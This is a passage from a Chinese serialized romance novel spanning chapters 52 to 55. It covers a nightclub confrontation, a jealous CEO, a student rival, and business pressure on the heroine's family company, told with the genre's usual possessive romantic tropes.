邢南打了个响指,随口问起:“她唱的这首歌叫什么?你听过么?” “LoveMeLikeYouDo,获得过格莱美提名。”后吧经理简单介绍了一下这首歌,以及,这首歌背后的那部影片。 邢南单手箍起酒杯杯口,他看向商聿行,笑道:“这部电影我听过,尺度挺大,在国内外火过一阵子。” 邢南见商聿行没有说话的意思,便挥了挥手示意经理先出去。 随后,他笑说:“你说巧不巧,以宁有一阵没来我这儿玩了。怎么你一来,她竟然也在,还跑台上表演去了。” 商聿行没有拆穿他。 半小时前,邢南专程跑到商盛总裁办来缠着,邀他来R&F共品新得的一款藏酒。他本想拒绝,邢南却说:“你总待在公司里,怎么知道外面的故事会怎样发展呢?” 心照不宣。商聿行推了一个不太重要的跨国会议,来尝尝他口中的拍卖级威士忌。 邢南准备的是一瓶苏格兰威士忌,他开了酒,给商聿行倒上,“比不上你酒柜里那些个MACALLAN1952、山崎55之流,等哪天你有大喜事了,送我两瓶不过分吧?” 金黄的琥珀色酒液缓缓侵入杯中,舞台上,涌动摇摆的男男女女之前,舒以宁已经唱到了高潮部分。 Lovemelikeyoudo,lo-lo-lovemelikeyoudo. Touchmelikeyoudo,to-to-touchmelikeyoudo. 商聿行端起酒杯,烈酒缓缓入喉。 内敛的劲道与醇厚的气味不断堆叠,口感丰富、收尾悠长。 他没有听过这首歌,似乎听见方才有一句歌词是“EveryinchofyourskinisaholygrayIvegottofind”。 音乐本身不具有表达任何情感与哲学的的功能,不同调性下都是个人的感化性解释。 那么,在她唱出这句歌词时,想到的,究竟又是哪一段的touch呢? 他向来自律,私下饮酒,为着解压也好助兴也罢,都讲究一个浅尝辄止。 但今天终究忍不住多喝了两杯。 有些话不用多说,明眼人一眼就能看出来—— 习惯了喜怒不形于色的商大总裁,这回是彻彻底底栽了。 邢南叹了一口气,按住商聿行又一次去拿那瓶好年份的JohnnieWalker的手,劝道:“别喝了,我找人去把以宁请上来?” 商聿行冷冷抬眸,没说话。 邢南没松手,多年兄弟,他也不怕他:“要不要去叫人上来,你就说,问你你不说,朝我摆脸色有什么用?话么不说,天天摆着张死脸给谁看?摆着摆着以宁就能回到你身边了?” 商聿行微微眯眼,脸色更冷了两分。 话都开口了,邢南干脆趁这个机会一股脑儿问出口:“阿行,你跟我说实话,你究竟是从什么时候开始对以宁有这个意思的?” 知道眼前的男人不会轻易开口,邢南按着酒瓶的手移开了,继而主动给他空着的岩石杯里又倒上浅浅一层威士忌:“只要你今天说一句不要我管,那我邢南从今往后绝不过问。但你要是还把我当兄弟,我一定尽我所能帮你。” 商聿行低头把玩岩石杯,饶有耐心似的,转了一圈又一圈。 不知过了多久,邢南听见他说:“很早。” “很早?在她家公司出事前?”邢南突然有了一个大胆的猜测:“难道说是……五年前?” 商聿行没有否认。 邢南等了一会儿,终于确认了这个事实。他不敢置信地打量眼前西装笔挺的男人:“所以说,你当年那样对舒家,不是因为她冒犯了你?” 而是因为,商大少爷可能已经有了那层回应这段感情的意思,结果舒以宁却又一下子就移情别恋了啊! “我不相信以宁心里头会没你,前段日子你和她朝夕相处,她对你到底有没有点意思,想必你看得要比我们清楚得多。”邢南停顿了一会儿,说:“阿行,有件事我需要和你道歉。” 商聿行漫不经心地“嗯”了一声。 “那天我们开玩笑,问你是不是要报复以宁,被她听去了。”说到这里,邢南的语气弱了两分,提醒他:“当时你说了句……不过是一个女人。” 商聿行把玩酒杯的长指一顿。 是了,就是那天回去,舒以宁状似不经意地询问他什么时候能够结束这段关系。 原来是这样。 原来是这样。 商聿行莫名被气笑了。 想来如果是他自己,设身处地一想,他也是忍不了的。 他还记得那天出门前,舒以宁还贴心地替他系好了温莎领结。上一刻还是脉脉含情,下一刻听到这种混账话,任谁都无法波澜不惊。 更何况是她舒以宁了。 他明明知道她的。 脾气大,爱生气,容易情绪化,一点不像外人看来那般稳定洒脱。 想到这点,商聿行唇边勾起的弧度更深了点。 邢南看了有一会儿了,终于忍不住问道:“你在笑什么?这是什么值得高兴的事?” 商聿行摇摇头,依旧笑着。 邢南征询他的意见:“我去把以宁喊上来?你先冷静冷静,一会儿我先和她谈谈,你们俩再单独好好说?” 商聿行略一沉吟,仰头饮尽杯中残余薄酒,眸色清明:“不必了,我下去找她。” 邢南说得对,感情的世界里不要过多计较得失。 既然下定决心说个清楚,那不如摆足诚意低下这个头。 足够坦诚,也足够坦荡。 那么,就由他来迈出这一步,之后就算受到她的拒绝,他想他也能从容面对。 ** R&F严格实行会员制,需要验资。但二楼往上才更加注重隐私与安全性,一楼为半开放式。因此,许夏天特意拜托了门童放沈嘉树进来。 沈嘉树收到微信消息后,连着打了两通电话都没人接。他套上工装裤就跑出寝室,打了车直奔微信聊天上的定位。 到了门口,不出意外地被拦了。 沈嘉树抬头看了眼门头,R&F三个烫金字母在黑夜中散发着纸醉金迷的味道。 仿佛明晃晃地告诉他,他们不是一个世界的人。 他算什么呢? 她酒后一时的兴起吗? 明明已经下定主意,在她明确态度以前,他要屏蔽一切与她相关的事情。然而她简单的一句话,就这么将他勾了过来。 在站到会所门口前,他甚至,没有半分的犹豫。 “我找舒以宁。”站了半晌,他说。 两侧门童这才徐徐拉开奢华考究的大门,请他进去。 R&F内部隐蔽性做得很好,沈嘉树担心舒以宁情况,小跑着进去绕了好几个拐弯,终于进了场。 曲径通幽,豁然开朗。 轻漫的音乐声中,人头攒动,不远处的舞台中央容貌昳丽的女人一曲唱罢,高举吉他扬声大笑:“LoveMeLikeYouDo!” 台下捧场的欢呼声此起彼伏。 她站在舞台中央,双眼微弯,笑容十分舒展,颧骨处的苹果肌显得饱满。 明媚,灿若繁星。 一直到她下了台、DJ开始播放编排好的前卫浩室风格的电子舞曲,沈嘉树都没有回过神来。 她早在舞台上时,就注意到了他,下了台就走了过来。 “沈嘉树,你还是来了。” 节奏感极强的蓬勃碎拍电音中,舒以宁特质鲜明的声音响起。 沈嘉树没有说话,甚至没有转过头去看她近在咫尺的脸。他当即转身往外走,脑海中不断响起他奔出门时,室友的那句轻浮玩笑话—— 大半夜要给女人送上门去玩儿吗? 舒以宁见他一言不发、转身就走,笑了一下,慢悠悠地跟了上去。 沈嘉树第一次来,一头扎进廊道七拐八拐没一会儿就走到了尽头。 身后传来舒以宁带笑的声音:“你走错路了,这儿是给男女私下调情用的,还是说——” 她故意拖长音调,尾音染上勾魂摄魄的旖旎,“——你是故意带我来呢?” 沈嘉树背对着她深吸一口气,做好心理建设,缓缓转过身。 舒以宁含笑看着他。 他穿着浅灰色圆领兜帽卫衣,黑色工装裤,整个人在晦暗不明的廊道灯光中瘦瘦高高。身形挺拔清瘦,轮廓分明。 舒以宁迫近两步。 沈嘉树没有后退,他单手插兜,面无表情看着她。 舒以宁浅笑,站到几乎要与他贴住的近距离,昂着头看他:“我真的喝了很多,没有骗你。不信的话,你来验一验?”她唇边笑意很浓,眉眼间流光溢彩。 温热的气息喷洒在他的喉结上,柔柔的,带来一阵电流般的酥麻。带了点似醉非醉的酒气,赤裸裸的勾引。 沈嘉树的眼神一下子晦暗下来。 舒以宁犹不停歇,唇瓣靠近他线条优越的下颌骨,毫不迟疑地碰了碰。 沈嘉树就势托住她的后脑勺,垂首亲上她的额头。 五米开外,商聿行看着眼前的男女,脸色一寸一寸冷了下去,凛若冰霜。 百达翡丽折射出复古格调的微光,男人手背青筋暴起,指骨微微泛白。 他闭了闭眼,转过身迈出脚步打算离开。 下一秒—— 他改变主意,蓦地回过身,快步朝前迈步,动作迅捷利落。 沈嘉树正因这浅浅的额头一吻而心神荡漾,冷不防被人拉开一拳甩了出去。 他猝不及防,整个人一个踉跄差点摔到地上去。 抬眼,只看见男人西装革履的高大背影。 他刚要冲上前,就被身后突然冒出来的三个保镖按在了地上,紧接着就被人不顾挣扎地带了出去。 舒以宁还沉浸在方才青涩莽撞的触感中,她酒喝的不少,这会儿又有些缺氧,一时间酒精上头站都站不稳。后退两步扶着墙壁,才勉强站直了。 她头晕得厉害,平稳了一会儿呼吸,抬起头往前看去。 接着,便是一愣。 商聿行与她对视了一会儿,缓缓走近。 他的棱角透着沉着而严肃的森冷,愈发衬得那双深邃的眼眸寒意迫人。 舒以宁下意识后撤,这时她才发现她已经背靠着墙壁,早已退无可退。 商聿行垂眼看她,唇角抿成一条不太愉快的直线。 “解释。”他轻启薄唇,命令道。 舒以宁意识回笼了些,移动目光寻找沈嘉树的身影。她伸手想推开他,推不动,于是她低下身子从旁边钻了出来。 短短一截廊道,空荡荡的。 舒以宁马上回过头,语气里不自觉带上点质问的意思:“他人呢?你把他怎么了?” 商聿行不急不缓转过身,黑眸微抬,棱角分明的脸充斥着不容侵犯的冰冷。 舒以宁见他不说话,抿了抿唇角,正色道:“商总,我和我男朋友之间正常的亲热行为,我想我没有必要对您有所解释。” 商聿行仿若未闻,冷着脸开口:“之前的事,是我不对。” “之前的事?”舒以宁看着这张近在咫尺的冷峻面容,然后,迎着男人如有实质般的目光看向他的眼睛。 她倏然笑了,明眸乌黑带笑:“玩玩感情,商总不会上头了吧?”—— 作者有话说:看商聿行不爽我就非常爽[撒花][撒花] 第53章 窗户开了一角,夜风呼啦作响地灌进来。 他走得决然,没有一丝犹豫,大步流星地离开了。 晚风中还残留着他留下的那点雪松香水味,清冷克制,一如它的主人。 舒以宁敛眸,眼睛里带着讥嘲的笑意渐渐退去。无疑,这一场对峙她赢得足够漂亮,也足够轻巧。 邢南本来在廊道外头拦着,以防有路人进去打扰。他点了支雪茄,还没吸上两口,就见商聿行沉着脸出来。 他暗道不好,立马上前问:“怎么了?” 商聿行一摆手,脚步不停地走了出去。 这一看就是谈崩了。 邢南猛吸一口雪茄,无奈摇了摇头。 所以说,男人还是得多谈谈恋爱,不然像商聿行这种老直男,追妻路漫漫啊。 遇上的又是舒以宁这样没心没肺的荷尔蒙爱好者,他真是一点不奇怪商大总裁会被气走。 邢南掐灭雪茄,先是喊了两个女侍应生帮他把喝醉的许夏天扶进车里,之后才慢悠悠跨步走进廊道中。 他看到了舒以宁的背影。 她正望着窗外,不知出神想些什么。 邢南开口打扰:“我送你回去?” ** 邢南从经理那里得知许夏天喝醉了的时候,第一反应就是蹙眉,“许夏天也喝了?” 醉酒的许夏天十分安生,只是躺在那里傻乎乎地掰手指头玩。 舒以宁原先有些担心她,见到她这副傻样子后,顿时安心了不少。她是见过许夏天喝醉酒的,那一次,这丫头简直疯狂得令人难以招架。也是自那次以后,很有自知之明的许夏天出来玩都不大碰酒精了。 邢南先送舒以宁到家,舒以宁一路恍惚,等进了别墅区才发现邢南送她们来了翠湖嘉苑这边。也是,许夏天喝醉了、舒以宁喝得也不少,总归还是得有人照顾才行,翠湖嘉苑的家至少有管家和阿姨在。 “先送夏夏,或者我直接去她那儿睡。” 邢南单手握着方向盘,笑道:“你先顾自己,夏夏这边有我,你放心。” 舒以宁不太放心地看了他一眼。 邢南:“……” 舒以宁扯出一个笑,开口:“夏夏醉成这样需要人照顾的,今晚就睡我家好了。多谢南哥送我们回来。” 邢南于是解开安全带下车,帮她把许夏天从后排抱起来,一路送上了三楼。 舒以宁再次感谢后,邢南笑道:“能为美女们效劳是我的荣幸,那我就先走了。” “开车小心。” “嗯,再见。”说罢,他转身往外走。 舒以宁看了一会儿,突然喊住他:“邢南。” 这次,她没有再喊南哥,也省去了素日交际的客气场面话。 邢南微微侧身,转过头来,眉头一挑:“嗯?” 舒以宁笑,“我以为你会和我说点什么,关于我和商聿行。” 邢南听完,笑了笑:“感情的事如人饮水,冷暖自知。我虽然好奇,但当下你和他都需要个人空间来好好考虑,重新审视你们之间的所有种种。以宁,我会来打探你的口风,甚至会来劝你,不过我认为当前并不是一个合适的时机。” 他对他们俩之间方才产生的冲突一无所知,又天生站着商聿行的立场,此刻不开口才是最大的尊重。 言罢,邢南略一点头致意,“那么,我就先告辞了。” ** 送完舒以宁和许夏天,邢南驱车直奔商盛总部。 不出他所料,商聿行果然回公司参加十一点的跨国会议。 会议持续一个半小时,商聿行是中途参会,对最终的决策持保留性意见。 邢南在会客厅等了二十分钟,一见他出来就半带调侃道:“我还真佩服你。” 商聿行:“就你那点产业,犯不着拿我当范本。” “……别逼我骂你。走,找个地方喝两杯?去你那还是去我那?”邢南今天一整天都还没怎么碰过酒,陪他们折腾了这么一晚上,自个儿也想放松放松。 商聿行抬腕看了眼时间,淡淡道:“我明天十点飞苏黎世。” 邢南假装听不懂他隐晦的拒绝,问道:“那就是说可以喝到七点半?半小时留给你洗澡,一小时去机场,绰绰有余了吧?” 江路南:“……” 商聿行自然不会真跟着邢南一道放荡形骸、通宵酗酒去,而舒以宁这边,许夏天这个小趴菜倒也是十分安生,没怎么发酒疯让她头疼。 只是尽管如此,她也是一晚上都没怎么睡好。 十点半,许夏天还没醒,舒以宁吃了个brunch,正要化妆,就接到了孔建民的电话。 这老狐狸上来就打了一番太极,寒暄来寒暄去,再舒以宁借口有事要挂电话之际,终于切入正题:“以宁啊,我听说——你和商总闹矛盾了?” “过年前就分开了,多谢叔叔关心。”舒以宁嘴上笑吟吟回道,眼神却冷了下来。 果不其然,孔建民下一句就是:“商盛那边取消和舒住的业务对接了,违约金都打过来了。你知道的,当时我们为了借这波势,拟合同设置的违约金很低。” 舒以宁直接拆穿:“是商盛拟的合同吧?” 根据她对商聿行的了解,他是个出色的商人。 孔建民被落了面子也不生气,叹了口气,直言道:“第二期的投资款也没消息了,宋正阳没和你说吧?这阵子我们连商聿行的面都见不到,等到商盛要收购舒住的谣言再一次甚嚣尘上,会对舒住造成多大的打击呢?以宁啊,你已经不是小孩子了,任性的代价我们付不起。” 挂断电话后,舒以宁去了趟舒住。 她与宋正阳头一次爆发了争吵。 “所以呢?Raymond,你还想瞒我多久?”舒以宁到了公司了解完情况,才知道局面比她想象得更为严峻。 她知道宋正阳一直都不想她与商聿行产生太多关系,但现如今这个局面她至少得有知情权。 宋正阳安抚道:“以宁,我能处理好,你再给我一点时间。这次是祸起萧墙,孔建民想要坐上这……” “我去找商聿行。”舒以宁拎起Birkin就要走。 宋正阳拉住她的去路:“不行。” 舒以宁抬眸看了他一眼,没说话,坚定地绕过他往外走。 “你真的就只是为了舒住吗?” 身后传来宋正阳铿锵有力的质问。 舒以宁停下脚步。 宋正阳站在她身后没动,缓缓道:“以宁,我有喜欢的人,不是你,你放心。我的免责声明做完了,现在,你是不是愿意和我进一步聊聊你和他的事了?” ** 舒以宁还是去了商盛总部。 商聿行不在,她也没能去到楼上。 许是有人特意吩咐过,总裁办秘书处并未向舒以宁透露商聿行的行程安排。连Karina都眨巴着无辜的大眼睛,缄口不言。 “好了,你上去吧,我就不耽误你工作了。”舒以宁不想为难她。 Karina双唇内收,纠结了一会儿,说:“总裁虽然不在,但肖副总在啊,您看需不需要我去找一下肖副总帮忙?” 旁边一女同事微笑提醒:“肖副总提前吩咐了,有人找就说他割痔疮去了。” Karina:“……好吧。” 舒以宁没有多留,回到家都没想明白商聿行这回葫芦里到底卖得什么药。 舒以宁自然而然认为所谓的不在只是一种托辞,问已经起床的许夏天:“你说,他到底什么意思?” 许夏天提议:“要不我们去找邢南问问?” 舒以宁想到邢南昨晚的话,摇摇头,说:“夏夏,我怀疑商聿行爱上我了。” 舒以宁昨晚几乎没怎么睡着,直到天蒙蒙亮才勉强有了些睡意。 谁成想,中午直接接到孔建民的电话。 然后,就是回舒住和宋正阳吵了一架,接着又是去商盛吃了闭门羹。 直到现在回到家,吃上和许夏天一起吃着刚煮好的燕窝,她才得闲。 一瞬间如梦初醒,茅塞顿开。 搁以往,她绝对不敢相信商聿行会爱上谁。他那样的人物,冷静得像一台没有感情的工作机器。 但现在,她已经见过他的生涩,见过他的意乱情迷,昨夜—— 她也已经见到了他醋性大发的样子。 非常带感,有那么一刻,她不得不承认自己差点就要沉溺其中。 而邢南的态度,无疑为她的这个猜测增加了佐证。 只是,到底什么是爱呢? 她爱商聿行吗? 就目前来说,好像是爱的。 可是,她好像爱过很多人,渐渐的,都从爱变成了厌倦,无一例外。 她不怕商聿行厌倦,就像这次,她可以因为他的轻佻主动抽身。对于她舒以宁来说,放弃一个已经得手的男人,不是什么难事。但如果先感到厌倦的那个人是她…… 舒以宁不敢相信,他们会发展成怎样的境地。 她需要重新审视她与商聿行之间的这段关系。 可能对于商聿行来说,是她提出了结束,这恰巧也代表着她已经产生了厌倦。 那么,他会怎么做呢? 恐怕取消对接,就是他做出的第一个警告。 后面还会不会有其他手段,还会有多少其他手段? 舒以宁不敢赌。 她其实比谁都清楚商聿行的手段。 许夏天并不意外,伸出手臂圈住舒以宁脖子,扬声笑道:“谁会不爱我们舒大小姐呢?” 舒以宁点点头表示认同:“有道理。” 许夏天笑眯眯继续说:“所以商聿行还不是成了你裙下之臣掌中之物?那弟弟还要吗?呀,我们舒大小姐这回好像要栽了呀。” 舒以宁马上扒拉掉她亲亲热热的手,问:“你也觉得这回我很难全身而退?” 第54章 “不然呢?”许夏天扯了扯她的脸颊,“这可是商聿行啊,你要是到了商聿行这种身份地位,什么不是手到擒来?别说商聿行了,你看看你自己,不是这样?” “那肖寂不愿意,我不也没勉强人家。” 许夏天:“可你贼心不死。” 舒以宁一下子跟泄了气的皮球似的,脑袋耷拉下来,“那你要是商聿行……” 许夏天兴致勃勃接话:“只要你敢看别的男人一眼,我就把你囚禁起来,玩play。” “……你正经一点。” 许夏天说着就又凑过来,“哎,我给你推两部番吧,你正好先学习一下,先有个心理准备。” 舒以宁面无表情推开她的脸,站了起来。 许夏天立马又凑了过来,亲昵地蹭了蹭舒以宁,仰头朝她眨了眨眼睛:“好好享受你即将失去的自由吧,小东西。” 舒以宁:“……” 舒以宁:“还好你对现实中的异性不感兴趣。” 许夏天松开她,终于说了一句真正安慰人的话:“商聿行喜欢你,总比他讨厌你好吧?” “不见得。” 许夏天见她面色凝重,于是道:“放心啦,他这么正直一个人,不至于用什么不入流的手段。” 舒以宁不这么认为,更何况—— “你真以为一个正直的人,能够一手创立比特朔行——商盛科技的前身、能够稳坐商盛集团CEO的位置吗?” 说话间,餐厅外头响起刘阿姨的问好声。 是楚桑桑回来了。 舒以宁与许夏天心照不宣地分坐两旁慢悠悠喝燕窝,没再继续刚刚的话题。 楚桑桑刚结束长沙的一个商演活动飞回来,脸上露着两分粉底掩盖不掉的疲惫。她走进来后先笑着和许夏天打招呼:“夏夏今天在啊。” 许夏天放下勺子,弯眸笑着回应:“是呀,好久不见呀Jessie。” 她们之间差着辈分,但年纪到底没差几岁,因此许夏天一般随舒以宁喊她英文名。 只不过后来舒以宁和楚桑桑之间关系急剧恶化,舒以宁也就没再喊出过一声Jessie了。 楚桑桑朝她笑了一会儿,才颇有些犹豫地看向舒以宁。 舒以宁没什么胃口,只是翻搅着勺子玩,没抬眸:“有事就说。” 楚桑桑掏出一张工行的卡,放到餐桌上,声音依旧是轻轻柔柔的:“以宁,这里有点钱,我想你可能用得上。” 舒以宁淡淡道:“你管好自己就行。” 楚桑桑缄默了一会儿,说:“我听人说你已经和商聿行分手了,你也不要太难过,公司的事我们一起想办法。” 舒以宁听见这话,咯噔一下扔下勺子,好整以暇看着她:“我为什么要难过?你不知道么,我就快要开始下一段感情了。男大学生,二十出头。” 楚桑桑没再多说什么,“那恭喜你了,以宁。” 说完,她转身就要走。 刘阿姨恰好端着新热好的一盏燕窝进来,立马快步走上前拦住楚桑桑,然后笑着朝舒以宁说:“都是一家人,有话坐下来慢慢说。以宁,你别跟吃了枪药似的,说不了两句话就要欺负太太。” 舒以宁没说话。 楚桑桑忙道:“阿姨,没有的事。” 刘阿姨走到餐桌旁,将燕窝放下,叹道:“我只是一个外人,但你们要是愿意听,就听我多嘴两句。越是这种时候,家里越是要齐心协力,现在外头有多少人等着看舒家的笑话?再大的气,也先得把眼前这关过了再说。” 说完,她转过头招呼站在原地的楚桑桑过来吃燕窝。 楚桑桑坐下后,刘阿姨识趣地退了出去,把餐厅重新留给她们。 许夏天见气氛有点尴尬,一时间也不知道开口调节一下好,还是不开口当鹌鹑好。 好在令她欣慰的是,楚桑桑很快开了口:“以宁,你能和商聿行分手,我很为你高兴。” 许夏天:“……” 这口还不如不开。 妈的,欣慰个屁。 能不能让她这个尴尬的外人先溜了再说啊。 “地位不对等的关系,又掺杂了利益……以宁,你不该过这种如履薄冰的生活。”楚桑桑苦笑了一下,转而提议:“你有没有想过不要管公司了,舒家剩下的钱虽然不多,但足够你体面生活。想维持原来的消费水平可能有一些困难,但我现在工作上有了点起色,还是能够让我们过上不会太辛苦的生活。” 舒以宁掀起眼皮,唇角勾起凉薄的笑,拿话刺她:“我有时候真的很好奇,我身上还有什么是可以被你利用的吗?” 她这话说得相当赤裸裸,等同于将人伤口撕开了扯。 许夏天拍了拍她的手臂,劝道:“好了以宁。” 楚桑桑抿了抿唇角,目光黯淡了几分:“以宁,对不起。” 舒以宁早就跟她没有多少话好讲了,淡定起身,搁下一句:“你没什么对不起我的,各取所需,愿赌服输。” ** 意识到商聿行喜欢自己这件事后,接下去两天,舒以宁都没有任何动作。 到了第三天,如她所料,商聿行那边果然坐不住了。 江路南给她打来了电话,先是表达了总裁这两天行程忙碌紧凑,再为那天秘书处没能接待好舒小姐致歉,最后询问她如果还需要见总裁的话,今日下午是否有时间。 舒住这两天股价跌得厉害,舒以宁自然不可能不去一趟商盛。 到了五十九楼,又是要等。 江路南将她请进总裁办,端上了冰美式:“总裁有个会,大约半小时后结束。” 舒以宁好整以暇地打量他,淡笑:“江特助,你瘦了。过年回去都没有吃胖吗?” 江路南与她相处了这好几个月,也算是相熟了,于是没有顾忌地半开玩笑道:“为总裁殚精竭虑,发着愁呢,胖不起来。” 舒以宁觉得好笑:“商聿行有什么需要你为他发愁的?” 江路南叹了口气,答道:“自舒小姐走后,总裁脾气就不大好了。” 听到这里,舒以宁也就不想再和他聊下去了。搞得好像商聿行本身是个好脾气的人一样,简直胡说八道。 江路南见她没反应,轻轻道:“舒小姐就哄一哄总裁,总裁这个人,很好哄。” “是啊,像你们总裁这样的人,习惯了被人捧着。但是——”舒以宁抬眸,看着江路南:“我凭什么哄他?” 是,是她有求于人。 但感情归感情,利益归利益,在她这里分得清清楚楚。 他想要利益,那他们之间就只该谈利益;他想要感情,就别妄想要她去哄着他、捧着他。 舒以宁正在气头上,自己都意识到自己莫名有点被气昏了头。 她认为目前情绪上头不利于谈判,因此起身告辞:“我明天再来吧,商总挤一挤总能挤出时间,烦请江特助帮忙……” 说话间,商聿行推门进来了。 舒以宁深吸了一口气,尽量平静下来。 江路南喊了一声“总裁”,然后对舒以宁微笑道:“舒小姐,我先出去了。” 商聿行没过来休息区,迈着大长腿朝着办公桌那边走,很快就大马金刀地在办公桌后面坐下了。 舒以宁犹豫了两分钟。既然他都已经回来办公室,她当下确实只能面对了。 于是,舒以宁走到他的办公桌前,停下脚步,站了一会儿才说:“我为撤资的事情来。” 商聿行翻阅文件,眼皮都没抬,淡漠道:“我们的交易结束了,不是吗,舒小姐?” 舒以宁挺直脊背,一瞬不瞬地盯着他:“我不想兜圈子,商总不就是为了逼我求上门吗?我来了,我们开诚布公吧。” 然后,她就看着商聿行那双总是幽深沉静的黑眸抬起,望过来的目光虽淡、却如有实质般的压迫力,他慢慢勾起唇角,眼里没有半分笑意:“舒小姐想怎么和我谈?” 慢条斯理,舒以宁眼中名副其实的衣冠禽兽做派。 舒以宁看着他的瞳孔,问:“你想要我做什么?” 商聿行嗓音轻淡:“手机。” 舒以宁一时没反应过来,“啊?” 商聿行看着她,眼窝深邃,黑眸沉静如潭,俊美无俦的脸上看不出任何情绪。 舒以宁不太敢一直看着他的眼睛,目光停在他冷峻的下颚骨上。 时间一分一秒地过去,他始终没再开口。 舒以宁沉默良久,从黑银色Birkin中拿出手机,问道:“你要我的手机吗?” 总不会是要她的联系方式,毕竟,微信加着好友,手机号彼此也都是留了的。 商聿行轻启薄唇:“打开微信。” 舒以宁依言解锁屏幕,点进了微信界面,然后抬头看向他。 无声地用眼神询问他下一步要做什么。 她把自己当成一个等待任务发布的新手玩家,懒得去揣测他究竟是何心理。 商聿行很快有了下一步反应,他朝她伸出了手。 冷白修长,指骨分明。 舒以宁不合时宜地回想起这只手慢条斯理解开衬衣纽扣的画面。 他似乎等得有点不耐烦,淡淡道:“给我。” 舒以宁将手机放到他手上。 男人垂下眼,手指轻点屏幕,“我只给你三分钟。” 话音刚落,手机里响起了语音通话的音乐声。 接着,他伸出手,将手机递回给她。 舒以宁接过手机,一看屏幕:“……” 语音通话很快就接通了,沈嘉树熟悉的声音响了起来:“喂。” 空气登时变得稀薄,而办公桌后面坐着的那个男人,无形中加重了这层压迫感。 舒以宁抬眼,看着他的眼睛。 商聿行微微勾唇,好整以暇攫住她的目光。 无声的对峙,与拉扯。 舒以宁一瞬间就明白了他的意思。 通话中再度传来沈嘉树的声音:“你想好要和他彻底结束了吗?舒以宁,我不接受藕断丝连。我再说一次,你不和他彻底结束,就不要来找我。” 舒以宁:“……” 商聿行指间不知何时出现了一支黑金色的钢笔,他幽幽看着她,眸底难辨喜怒。 舒以宁干脆一瞬不瞬地与他对视。 而微信另一头,沈嘉树还在等着她的答案。 商聿行倏然停下手中转着的钢笔,咯噔一声,钢笔与桌面轻触发出响声。 舒以宁反跳反射般后退了半步。 商聿行拉开抽屉第三层,从中取出一样东西。他站了起来,修长挺拔的身影跨过几步,走到她面前停下。 舒以宁仰着脸,目光变得有些警惕。 商聿行左手托住她的脸,略带粗糙的指腹按上她粉嫩饱满的唇。 另一只手慢条斯理旋开金属外壳,冷白纤长的手指在灯光下显得格外禁欲。 舒以宁这才发觉,他刚刚从抽屉里拿出来的,是她上次撩拨他时留下的这只GUCCI509。 哑光金管,蓝调正红色。 膏体触及嘴唇的一刹那,舒以宁不自觉地想要躲开。 然而,他的左手已经从她脸颊移动到后脑勺,大掌托住了她。 舒以宁避无可避。 商聿行垂眸,口红在她唇上缓步游走,留下美丽的丝绒痕迹。 他仿佛觉着这是件十分有意思的事情,涂得又慢又细致,如艺术品般细细描摹。 舒以宁喉咙有些干,刚想张嘴开口,让他别这样—— 高大的身影顷刻间压了下来。 以吻封缄。 这是恋人间的柔软,旖旎。 像天上飘着的云朵,刚要踩空,又被托举了上来。 舒以宁手上松了力道,手机顺着她的手掌滑落到底,在厚实的地毯上发出轻轻一声咚。 她如梦初醒,尚来不及反应,他已然单手控制住她的双腕。 口中的呼吸顿时被掠夺,狂风骤雨,带来一阵缺氧的窒息。她只能凭借本能去他口中夺回空气,他先是任她攫取,转而发动新一轮的侵略。 本就灼热的气息在彼此之间被燃得越来越高涨,就快到达燎原的临界点。 “总裁,陆杨明的——” 风风火火的声音戛然而止。 舒以宁听出是财务总监谭晴的声音。 商聿行波澜不惊地松开了对她的桎梏。 “啊,抱歉抱歉,您二位继续。”说着,她就往外退。 商聿行转过头看过去,冷冷开口:“什么事?” 谭晴停下出去的脚步,赶紧三言两语讲完。 舒以宁意识回笼。原来是有一任高管涉嫌非国家工作人员受贿罪,目前流程走到公安机关立案侦查并采取刑事拘留强制措施阶段。 那人在商盛近四十年,盘根错节,早就形成了自己的派系。 舒以宁知道接下去的话她不方便听,“我先告辞了。” 她半蹲下来捡起落在地毯上的手机,屏幕上微信语音通话还未挂断。 舒以宁愣了一会儿神,直到听见商聿行清冷的声音响起:“谭晴,出去。” 她赶紧手忙脚乱地挂断语音通话。 ** 谭晴早在心理腹诽了成千上万遍,把商聿行骂了个狗血淋头。 肖岳见她从出来,于是走上前严严实实关好门。 “挨骂了?”他含笑问。 谭晴没好气地回道:“没,不过也差不多。以后这种事别找我,你怎么不找老顾上?” 肖岳捧着她说了几句夸赞的话,接着八卦道:“里面怎么样了?舒小姐还好吗?” 谭晴露出一个高深莫测的表情。 “嗯?” “有本事,自个儿进去瞧。”说罢,谭晴唇角扬笑,头也不回地下去了。 总裁办内,舒以宁眼睫毛半敛,毫不顾忌形象地蹲在地上飞快打字。 看不出来是在给谁发消息。 商聿行双腿交叠,后背往后靠着椅背,将合上的口红放回了左边第三层抽屉。 他的语气很淡:“舒以宁,我给你最后一次机会。” 舒以宁头都没抬,依旧蹲在地毯上,手指不停打着字。 商聿行闭了闭眼,“舒,以,宁。” “听见了。”舒以宁收起手机,扶着办公桌的桌脚站了起来,“什么机会?” 商聿行:“舒住。” 舒以宁看着他,淡淡道:“第二笔款一礼拜内到账,你让我做什么都可以。” 说完,她扬了扬手机,“沈嘉树?你介意?我现在就删。” 她倒是爽快,言罢就当着他的面点开沈嘉树的头像,按下红色的删除按钮。 商聿行没有拦她。 舒以宁删完人,迎着他清冷的目光望回去。 他棱角分明的面部线条透出一股冷峻。 那双黑眸静谧深沉,更是透着一股令人不敢直视的威慑力。 舒以宁只与他对视了一眼,就立马别开眼去。 须臾,一个熟悉的名字自他唇间缓缓而出:“肖寂。” 舒以宁一愣,紧接着,就听见他用轻淡却不容抗拒的低沉语气给出指令:“删。” 第55章 “我都没肖寂微信,怎么删?” 许夏天递上普洱茶,“消消气,消消气。” 舒以宁接过来一口闷,气道:“你说他是不是无理取闹?我跟肖寂又没在一起过,怎么着就碍他眼了?” 许夏天心说,就你以前那时不时要去撩一撩人家肖寂的架势,能不碍眼么? 但,姐妹的问题,都是小问题;姐妹的错,都不叫错。 许夏天天生站舒以宁,握拳道:“没错,他就是有病!” 舒以宁十分满意地点点头,“夏夏,还是你懂我。” 许夏天给她的汝窑功夫杯添上茶水,催道:“然后呢,然后呢?你怎么说的?他什么反应?” 舒以宁拿起茶杯再次一口闷,气道:“我说我不删。” 许夏天:“……?” 舒以宁:“他竟然还说什么舒以宁我给你最后一次机会,你说这话气不气人?我什么时候忍过这种气?我都当着他的面把沈嘉树给删了,他还想怎样?” 许夏天:“他想爆炒你。” 舒以宁愤愤道:“对,他就是……嗯?……” 许夏天笑眯眯看着瞬间熄火的舒以宁。 